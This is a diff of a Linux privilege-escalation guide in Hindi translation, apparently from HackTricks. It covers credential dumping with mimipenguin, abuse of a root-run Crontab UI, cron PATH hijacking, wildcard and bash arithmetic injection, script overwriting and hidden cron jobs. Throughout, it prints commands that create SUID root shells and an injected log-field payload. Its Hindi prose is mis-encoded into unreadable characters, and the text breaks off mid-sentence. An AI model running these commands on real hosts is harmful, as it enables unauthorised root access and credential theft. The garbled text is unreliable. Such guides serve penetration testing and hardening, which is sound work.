#### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) рдпрд╣ **clear text credentials** рдХреЛ memory рдФрд░ рдХреБрдЫ **well known files** рд╕реЗ рдЪреБрд░рд╛ рд▓реЗрдЧрд╛ред рдЗрд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root privileges рдЪрд╛рд╣рд┐рдПред +рдпрд╣ рдЯреВрд▓ [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) memory рдФрд░ рдХреБрдЫ **well known files** рд╕реЗ **clear text credentials** рдЪреБрд░рд╛ рд▓реЗрдЧрд╛ред рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root privileges рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -| рд╡рд┐рд╢реЗрд╖рддрд╛ | рдкреНрд░реЛрд╕реЗрд╕ рдирд╛рдо | +| Feature | Process Name | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -314,7 +299,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### рдЦреЛрдЬ Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -328,66 +313,66 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## рд╢реЗрдбреНрдпреВрд▓ рдХрд┐рдП рдЧрдП/Cron jobs +## рдЕрдиреБрд╕реВрдЪрд┐рдд/Cron jobs ### Crontab UI (alseambusher) running as root тАУ web-based scheduler privesc -рдпрджрд┐ рдПрдХ рд╡реЗрдм тАЬCrontab UIтАЭ рдкреИрдирд▓ (alseambusher/crontab-ui) root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ loopback рд╕реЗ рдмрд╛рдЗрдВрдб рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ SSH local port-forwarding рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрднреА рднреА рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ privesc рдХреЗ рд▓рд┐рдП рдПрдХ privileged job рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдПрдХ рд╡реЗрдм тАЬCrontab UIтАЭ рдкреИрдирд▓ (alseambusher/crontab-ui) root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИ рдФрд░ рдХреЗрд╡рд▓ loopback рдкрд░ рдмрд╛рдЗрдВрдб рд╣реИ, рддреЛ рдЖрдк рдлрд┐рд░ рднреА SSH local port-forwarding рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдПрдХ privileged job рдмрдирд╛рдХрд░ escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред Typical chain -- рд▓реВрдкрдмреИрдХ-рдУрдирд▓реА рдкреЛрд░реНрдЯ рдЦреЛрдЬреЗрдВ (e.g., 127.0.0.1:8000) рдФрд░ Basic-Auth realm рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ via `ss -ntlp` / `curl -v localhost:8000` -- рдСрдкрд░реЗрд╢рдирд▓ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯреНрд╕ рдореЗрдВ credentials рдЦреЛрдЬреЗрдВ: -- Backups/scripts рдЬрд┐рдирдореЗрдВ `zip -P ` -- systemd unit рдЬрд┐рд╕рдореЗрдВ `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` рдореМрдЬреВрдж рд╣реЛрдВ -- Tunnel рдмрдирд╛рдХрд░ login рдХрд░реЗрдВ: +- Loopback-only рдкреЛрд░реНрдЯ рдЦреЛрдЬреЗрдВ (рдЬреИрд╕реЗ 127.0.0.1:8000) рдФрд░ Basic-Auth realm рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ `ss -ntlp` / `curl -v localhost:8000` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ +- рдСрдкрд░реЗрд╢рдирд▓ artifacts рдореЗрдВ credentials рдЦреЛрдЬреЗрдВ: + - Backups/scripts рдЬрд┐рдирдореЗрдВ `zip -P ` + - systemd unit рдЬреЛ `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реЛ +- Tunnel рдФрд░ login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- рдПрдХ high-priv job рдмрдирд╛рдПрдБ рдФрд░ рддреБрд░рдВрдд рдЪрд▓рд╛рдПрдБ (SUID shell рдЫреЛрдбрд╝рддрд╛ рд╣реИ): +- рдПрдХ high-priv job рдмрдирд╛рдПрдВ рдФрд░ рддреБрд░рдВрдд рдЪрд▓рд╛рдПрдБ (SUID shell рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- рдЗрд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░реЗрдВ: +- рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░реЗрдВ: ```bash /tmp/rootshell -p # root shell ``` Hardening -- Crontab UI рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рди рдЪрд▓рд╛рдПрдБ; рдЗрд╕реЗ рдПрдХ рд╕рдорд░реНрдкрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдиреНрдпреВрдирддрдо рдЕрдиреБрдорддрд┐рдпреЛрдВ рддрдХ рд╕реАрдорд┐рдд рд░рдЦреЗрдВ -- localhost рдкрд░ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ firewall/VPN рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рдХрд░реЗрдВ; рдкрд╛рд╕рд╡рд░реНрдб рджреЛрд╣рд░рд╛рдХрд░ рди рдкреНрд░рдпреЛрдЧ рдХрд░реЗрдВ -- unit files рдореЗрдВ secrets embed рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВ; secret stores рдпрд╛ root-only EnvironmentFile рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ +- Crontab UI рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рди рдЪрд▓рд╛рдПрдВ; рдЗрд╕реЗ рдПрдХ рд╕рдорд░реНрдкрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдиреНрдпреВрдирддрдо рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕реАрдорд┐рдд рдХрд░реЗрдВ +- localhost рд╕реЗ bind рдХрд░реЗрдВ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ firewall/VPN рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ; рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдкреБрди: рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ +- unit files рдореЗрдВ secrets рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВ; secret stores рдпрд╛ root-only EnvironmentFile рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ - on-demand job executions рдХреЗ рд▓рд┐рдП audit/logging рд╕рдХреНрд╖рдо рдХрд░реЗрдВ -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреЛрдИ scheduled job vulnerable рд╣реИ рдпрд╛ рдирд╣реАрдВред рд╢рд╛рдпрдж рдЖрдк root рджреНрд╡рд╛рд░рд╛ execute рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдХрд┐рд╕реА script рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ (wildcard vuln? рдХреНрдпрд╛ рдЖрдк root рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ modify рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? symlinks рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ? root рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ directory рдореЗрдВ specific files рдмрдирд╛рдПрдБ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron рдкрде рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, _/etc/crontab_ рдХреЗ рдЕрдВрджрд░ рдЖрдк PATH рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ user "user" рдХреЗ рдкрд╛рд╕ /home/user рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ_) +(_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ "user" рдХреЗ рдкрд╛рд╕ /home/user рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ_) -рдпрджрд┐ рдЗрд╕ crontab рдХреЗ рдЕрдВрджрд░ root user рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ path рд╕реЗрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдЪрд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _\* \* \* \* root overwrite.sh_\ -рддреЛ, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ root shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЗрд╕ crontab рдореЗрдВ root рдХрд┐рд╕реА command рдпрд╛ script рдХреЛ PATH рд╕реЗрдЯ рдХрд┐рдП рдмрд┐рдирд╛ execute рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _\* \* \* \* root overwrite.sh_\ +рддрдм, рдЖрдк root shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron рдПрдХ script рдореЗрдВ wildcard рдХрд╛ рдЙрдкрдпреЛрдЧ (Wildcard Injection) +### Cron рдЬреЛ script рдореЗрдВ wildcard рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (Wildcard Injection) -рдпрджрд┐ рдХреЛрдИ script root рджреНрд╡рд╛рд░рд╛ execute рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА command рдореЗрдВ тАЬ**\***тАЭ рдореМрдЬреВрдж рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ exploit рдХрд░рдХреЗ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдЪреАрдЬрд╝реЗрдВ (рдЬреИрд╕реЗ privesc) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг: +рдпрджрд┐ рдХреЛрдИ script root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рдХрд┐рд╕реА command рдореЗрдВ тАЬ**\***тАЭ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЪреАрдЬрд╝реЗрдВ (рдЬреИрд╕реЗ privesc) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**рдпрджрд┐ wildcard рдХрд┐рд╕реА path рдЬреИрд╕реЗ** _**/some/path/\***_ **рдХреЗ рдЖрдЧреЗ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ vulnerable рдирд╣реАрдВ рд╣реИ (рдпрд╣рд╛рдВ рддрдХ рдХрд┐** _**./\***_ **рднреА рдирд╣реАрдВ)ред** +**рдпрджрд┐ wildcard рд╕реЗ рдкрд╣рд▓реЗ рдХреЛрдИ path рдореМрдЬреВрдж рд╣реИ, рдЬреИрд╕реЗ** _**/some/path/\***_ **рддреЛ рдпрд╣ vulnerable рдирд╣реАрдВ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐** _**./\***_ **рднреА рдирд╣реАрдВ)уАВ** -рдЕрдзрд┐рдХ wildcard exploitation tricks рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрдврд╝реЗрдВ: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -397,11 +382,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash, ((...)), $((...)) рдФрд░ let рдореЗрдВ arithmetic evaluation рд╕реЗ рдкрд╣рд▓реЗ parameter expansion рдФрд░ command substitution рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ рдХреЛрдИ root cron/parser untrusted log fields рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ arithmetic context рдореЗрдВ рдлреАрдб рдХрд░рддрд╛ рд╣реИ, рддреЛ attacker рдПрдХ command substitution $(...) inject рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ cron рдЪрд▓рдиреЗ рдкрд░ root рдХреЗ рд░реВрдк рдореЗрдВ execute рд╣реЛ рдЬрд╛рдПрдЧрд╛ред +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. рдЕрдЧрд░ рдХреЛрдИ root cron/parser untrusted log fields рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ arithmetic context рдореЗрдВ рдлреАрдб рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ attacker command substitution $(...) inject рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ cron рдЪрд▓рдиреЗ рдкрд░ root рдХреЗ рд░реВрдк рдореЗрдВ execute рд╣реЛрдЧрд╛ред -- рдХрд╛рд░рдг: Bash рдореЗрдВ expansions рдЗрд╕ рдХреНрд░рдо рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ: parameter/variable expansion, command substitution, arithmetic expansion, рдлрд┐рд░ word splitting рдФрд░ pathname expansionред рддреЛ `$(/bin/bash -c 'id > /tmp/pwn')0` рдЬреИрд╕рд╛ рдорд╛рди рдкрд╣рд▓реЗ substitute рд╣реЛрддрд╛ рд╣реИ (рдХрдорд╛рдВрдб рдЪрд▓рддрд╛ рд╣реИ), рдлрд┐рд░ рд╢реЗрд╖ numeric `0` arithmetic рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд┐рдирд╛ errors рдХреЗ рдЖрдЧреЗ рдЪрд▓рддреА рд░рд╣реЗред +- Why it works: Bash рдореЗрдВ expansions рдЗрд╕ рдХреНрд░рдо рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ: parameter/variable expansion, command substitution, arithmetic expansion, рдлрд┐рд░ word splitting рдФрд░ pathname expansion. рдЗрд╕рд▓рд┐рдП рдорд╛рди рдЬреИрд╕реЗ `$(/bin/bash -c 'id > /tmp/pwn')0` рдкрд╣рд▓реЗ substitute рд╣реЛрддрд╛ рд╣реИ (рдХрдорд╛рдВрдб рд░рди рд╣реЛрддреЗ рд╣реБрдП), рдлрд┐рд░ рдмрдЪреЗ рд╣реБрдП numeric `0` рдХреЛ arithmetic рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд┐рдирд╛ errors рдХреЗ рдЬрд╛рд░реА рд░рд╣реЗред -- рд╕рд╛рдорд╛рдиреНрдп vulnerable pattern: +- рд╕рд╛рдорд╛рдиреНрдп vulnerable рдкреИрдЯрд░реНрди: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -411,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: parsed log рдореЗрдВ attacker-controlled рдЯреЗрдХреНрд╕реНрдЯ рд▓рд┐рдЦрд╡рд╛рдПрдБ рддрд╛рдХрд┐ numeric рджрд┐рдЦрдиреЗ рд╡рд╛рд▓рд╛ field рдПрдХ command substitution рд░рдЦреЗ рдФрд░ digit рдкрд░ рдЦрддреНрдо рд╣реЛред рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХрд╛ рдХрдорд╛рдВрдб stdout рдкрд░ рдХреБрдЫ рди рдирд┐рдХрд╛рд▓реЗ (рдпрд╛ рдЙрд╕реЗ redirect рдХрд░реЗрдВ) рддрд╛рдХрд┐ arithmetic рд╡реИрдз рд░рд╣реЗред +- Exploitation: parsed log рдореЗрдВ attacker-controlled рдЯреЗрдХреНрд╕реНрдЯ рд▓рд┐рдЦрд╡рд╛рдПрдБ рддрд╛рдХрд┐ numeric-looking field рдореЗрдВ рдПрдХ command substitution рд╣реЛ рдФрд░ рд╡рд╣ рдХрд┐рд╕реА digit рдкрд░ рдЦрддреНрдо рд╣реЛред рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХрд╛ рдХрдорд╛рдВрдб stdout рдкрд░ рдХреБрдЫ print рди рдХрд░реЗ (рдпрд╛ рдЙрд╕реЗ redirect рдХрд░ рджреЗрдВ) рддрд╛рдХрд┐ arithmetic рд╡реИрдз рд░рд╣реЗред ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -420,62 +405,63 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -рдпрджрд┐ рдЖрдк **root рджреНрд╡рд╛рд░рд╛ execute рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА cron script рдХреЛ modify рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк **cron script рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдЬреЛ root рджреНрд╡рд╛рд░рд╛ execute рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -рдпрджрд┐ root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛ script рдХрд┐рд╕реА **directory рдЬрд╣рд╛рдБ рдЖрдкрдХреА рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реИ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрд╕ folder рдХреЛ рд╣рдЯрд╛рдХрд░ рдФрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рдХреЗ рд▓рд┐рдП рдПрдХ **symlink folder** рдмрдирд╛ рдХрд░ рдЙрд╕ рдкрд░ рдЖрдкрдХреА рдирд┐рдпрдВрддреНрд░рд┐рдд script рд▓рдЧрд╛рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЬрдм root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ script рдХрд┐рд╕реА **рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдЬрд╣рд╛рдБ рдЖрдкрдХреА рдкреВрд░реА рдкрд╣реБрдБрдЪ рд╣реЛ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдбрд┐рд▓реАрдЯ рдХрд░рдХреЗ рдФрд░ **рдПрдХ рджреВрд╕рд░реЗ рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ symlink рдлрд╝реЛрд▓реНрдбрд░ рдмрдирд╛ рджреЗрдВ** рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд script рдХреЛ рдЪрд▓рд╛рдПред ```bash ln -d -s ``` -### Frequent cron jobs +### рдмрд╛рд░-рдмрд╛рд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ cron jobs -рдЖрдк рдЙрди рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдРрд╕реЗ рдкреНрд░реЛрд╕реЗрд╕ рдЦреЛрдЬреЗ рдЬрд╛ рд╕рдХреЗрдВ рдЬреЛ рд╣рд░ 1, 2 рдпрд╛ 5 рдорд┐рдирдЯ рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╣реЛрдВред рд╢рд╛рдпрдж рдЖрдк рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдХрд░ privileges escalate рдХрд░ рд╕рдХреЗрдВред +рдЖрдк processes рдХреЛ рдореЙрдирд┐рдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдРрд╕реЗ processes рдвреВрдБрдвреЗрдВ рдЬреЛ рд╣рд░ 1, 2 рдпрд╛ 5 рдорд┐рдирдЯ рдореЗрдВ execute рд╣реЛ рд░рд╣реЗ рд╣реЛрдВред рд╢рд╛рдпрдж рдЖрдк рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдХрд░ privileges escalate рдХрд░ рд╕рдХреЗрдВред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк **1 рдорд┐рдирдЯ рдХреЗ рджреМрд░рд╛рди рд╣рд░ 0.1s рдкрд░ рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдирд╛**, **рдХрдо рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдбреНрд╕ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЫрд╛рдБрдЯрдирд╛** рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рд╣рдЯрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **monitor every 0.1s during 1 minute**, **sort by less executed commands** рдФрд░ рдЙрди commands рдХреЛ delete рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕рдмрд╕реЗ рдЬреНрдпрд╛рджрд╛ executed рд╣реБрдП рд╣реИрдВ, рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**рдЖрдк рдпрд╣ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (рдпрд╣ рд╣рд░ process рдХреЛ рдореЙрдирд┐рдЯрд░ рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛ рдЬреЛ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ)ред +**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ process рдЬреЛ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЙрд╕реЗ monitor рдФрд░ list рдХрд░реЗрдЧрд╛). ### рдЕрджреГрд╢реНрдп cron jobs -рдПрдХ cronjob рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **рдЯрд┐рдкреНрдкрдгреА рдХреЗ рдмрд╛рдж carriage return рдбрд╛рд▓рдХрд░** (рдмрд┐рдирд╛ newline character рдХреЗ), рдФрд░ cron job рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (carriage return char рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ): +рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ cronjob **putting a carriage return after a comment** (without newline character), рдФрд░ cron job рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (рдзреНрдпрд╛рди рджреЗрдВ carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## рд╕реЗрд╡рд╛рдПрдБ -### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп _.service_ рдлрд╛рдЗрд▓реЗрдВ +### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп _.service_ рдлрд╝рд╛рдЗрд▓реЗрдВ + +рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХреЛрдИ `.service` рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЕрдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ рдЖрдкрдХреА **backdoor** рдХреЛ рддрдм **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗ рдЬрдм рд╕реЗрд╡рд╛ **рд╢реБрд░реВ**, **рдкреБрдирдГ 